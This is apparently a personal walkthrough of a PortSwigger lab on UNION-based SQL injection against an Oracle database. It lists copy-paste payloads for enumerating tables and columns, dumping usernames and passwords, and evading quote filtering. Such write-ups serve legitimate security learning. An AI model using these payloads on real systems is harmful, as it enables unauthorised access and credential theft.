SQL injection attack, listing the database contents on Oracle
SQL injection attack, listing the database contents on Oracle: The product category filter is vulnerable to SQL injection. Results are reflected in the response, so a UNION-based attack can extract data from other tables. The app has a login, and the DB stores usernames/passwords. My goal: discover the users table + columns, dump credentials, and log in as administrator... • PortSwigger • SQL injection • sql-injection
🎯 Objective
The product category filter is vulnerable to SQL injection. Results are reflected in the response, so a UNION-based attack can extract data from other tables. The app has a login, and the DB stores usernames/passwords. My goal: discover the users table + columns, dump credentials, and log in as administrator.
Note (Oracle): every
SELECTneeds aFROM. Use the built-indualtable when crafting UNION payloads that otherwise have no table source.
🧩 What I’m exploiting
- The category filter embeds a value in a query like:
... WHERE category = 'Gifts' .... - Reflected results allow UNION SELECT injection to pivot into system metadata and application tables.
- The backend is Oracle, so I’ll use
FROM dualand system views likeall_tables/all_tab_columnsfor discovery.
🧭 My path
1) Find column count (ORDER BY)
I began by probing the number of columns in the original query using ORDER BY on the category parameter.
https://0ac6007203764f4ac0494dd400ab0054.web-security-academy.net/filter?category=Gifts' order by 2 --This worked, so I inferred 2 columns are selected by the original query. (If order by 3 had errored, that would also confirm 2.)
2) Confirm string-compatible columns
Next, I verified that both columns accept text (so I can union string data cleanly):
https://0ac6007203764f4ac0494dd400ab0054.web-security-academy.net/filter?category=Gifts' UNION SELECT 'a','b' FROM dual --Seeing the page render without a DB error tells me both columns can take strings. Perfect for system-view enumeration.
3) Enumerate table names (Oracle system views)
With two string columns, I used Oracle’s metadata to list table names. Start broad, then filter:
' UNION SELECT table_name, NULL FROM all_tables --If the list is long/noisy, constrain it. User tables in these labs often include USERS in the name:
' UNION SELECT table_name, NULL FROM all_tables WHERE table_name LIKE 'USERS%' --Tip: Oracle stores identifiers in uppercase by default, so search with
LIKE 'USERS%'rather than lowercase.
4) Identify columns of the users table
Once I have the exact users table name (call it <USERS_TABLE>), I dump its columns via all_tab_columns:
' UNION SELECT column_name, NULL FROM all_tab_columns WHERE table_name = 'USERS_TABLE' --If you need to scope to the owning schema, include AND owner = 'SCHEMA_NAME'. In most labs, the default owner works fine without it.
5) Dump credentials
Common column pairs are USERNAME/PASSWORD (sometimes EMAIL, PASS, etc.). With names confirmed, I pulled the rows:
' UNION SELECT username, password FROM USERS_TABLE --If you only have one visible column, concatenate:
' UNION SELECT username || ':' || password, NULL FROM USERS_TABLE --At this point, I noted the administrator credentials in the response.
📎 Copy‑paste payloads (adapt as needed)
Column count probe
.../filter?category=Gifts' order by 2 --Baseline UNION (proving text columns)
.../filter?category=Gifts' UNION SELECT 'a','b' FROM dual --List tables (all)
' UNION SELECT table_name, NULL FROM all_tables --List tables (likely users)
' UNION SELECT table_name, NULL FROM all_tables WHERE table_name LIKE 'USERS%' --List columns for the discovered table
' UNION SELECT column_name, NULL FROM all_tab_columns WHERE table_name = 'USERS_TABLE' --Dump creds
' UNION SELECT username, password FROM USERS_TABLE --
-- or if only one visible column:
' UNION SELECT username || ':' || password, NULL FROM USERS_TABLE --URL‑encoded example
.../filter?category=Gifts'%20UNION%20SELECT%20'a','b'%20FROM%20dual%20--🧪 Troubleshooting
- Type mismatch errors: Ensure data types match each column. If needed, cast/convert or use
NULLfor columns you don’t care about. - Results not visible: Try swapping which value populates which column; sometimes only the first column is rendered.
- Filtering: If single quotes are filtered, use URL‑encoding (
%27) and/or comment variants (--+,/* */).
✅ Result
I enumerated the users table and its columns, extracted credentials, and logged in as administrator. Lab solved.
These are my notes and the exact steps I used on the Oracle-backed UNION injection lab.